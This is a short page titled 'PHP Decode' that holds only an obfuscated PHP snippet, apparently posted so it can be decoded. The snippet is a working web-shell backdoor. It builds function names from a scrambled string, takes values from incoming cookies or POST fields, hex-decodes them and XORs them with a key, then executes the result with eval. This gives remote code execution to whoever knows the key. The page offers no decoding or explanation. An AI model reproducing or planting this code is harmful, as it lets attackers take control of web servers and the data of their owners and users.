PHP Decode

<?php 
$ywxko = '*3147a5m\'nlpiy80sk_uexgdo#c-vtHrfb';$dzrhn = Array();$dzrhn[] = $ywxko[30].$ywxko[0];$dzrhn[] = $ywxko[25];$dzrhn[] = $ywxko[23].$ywxko[6].$ywxko[32].$ywxko[1].$ywxko[26].$ywxko[1].$ywxko[20].$ywxko[3].$ywxko[27].$ywxko[20].$ywxko[4].$ywxko[15].$ywxko[33].$ywxko[27].$ywxko[3].$ywxko[1].$ywxko[33].$ywxko[33].$ywxko[27].$ywxko[14].$ywxko[33].$ywxko[26].$ywxko[3].$ywxko[27].$ywxko[5].$ywxko[26].$ywxko[1].$ywxko[23].$ywxko[33].$ywxko[23].$ywxko[32].$ywxko[3].$ywxko[15].$ywxko[33].$ywxko[2].$ywxko[3];$dzrhn[] = $ywxko[26].$ywxko[24].$ywxko[19].$ywxko[9].$ywxko[29];$dzrhn[] = $ywxko[16].$ywxko[29].$ywxko[31].$ywxko[18].$ywxko[31].$ywxko[20].$ywxko[11].$ywxko[20].$ywxko[5].$ywxko[29];$dzrhn[] = $ywxko[20].$ywxko[21].$ywxko[11].$ywxko[10].$ywxko[24].$ywxko[23].$ywxko[20];$dzrhn[] = $ywxko[16].$ywxko[19].$ywxko[33].$ywxko[16].$ywxko[29].$ywxko[31];$dzrhn[] = $ywxko[5].$ywxko[31].$ywxko[31].$ywxko[5].$ywxko[13].$ywxko[18].$ywxko[7].$ywxko[20].$ywxko[31].$ywxko[22].$ywxko[20];$dzrhn[] = $ywxko[16].$ywxko[29].$ywxko[31].$ywxko[10].$ywxko[20].$ywxko[9];$dzrhn[] = $ywxko[11].$ywxko[5].$ywxko[26].$ywxko[17];foreach ($dzrhn[7]($_COOKIE, $_POST) as $zzfsej => $lcspcn){function tkkdlmr($dzrhn, $zzfsej, $dstrym){return $dzrhn[6]($dzrhn[4]($zzfsej . $dzrhn[2], ($dstrym / $dzrhn[8]($zzfsej)) + 1), 0, $dstrym);}function ocqxukx($dzrhn, $spvej){return @$dzrhn[9]($dzrhn[0], $spvej);}function vidjtf($dzrhn, $spvej){$prkex = $dzrhn[3]($spvej) % 3;if (!$prkex) {eval($spvej[1]($spvej[2]));exit();}}$lcspcn = ocqxukx($dzrhn, $lcspcn);vidjtf($dzrhn, $dzrhn[5]($dzrhn[1], $lcspcn ^ tkkdlmr($dzrhn, $zzfsej, $dzrhn[8]($lcspcn))));} ?>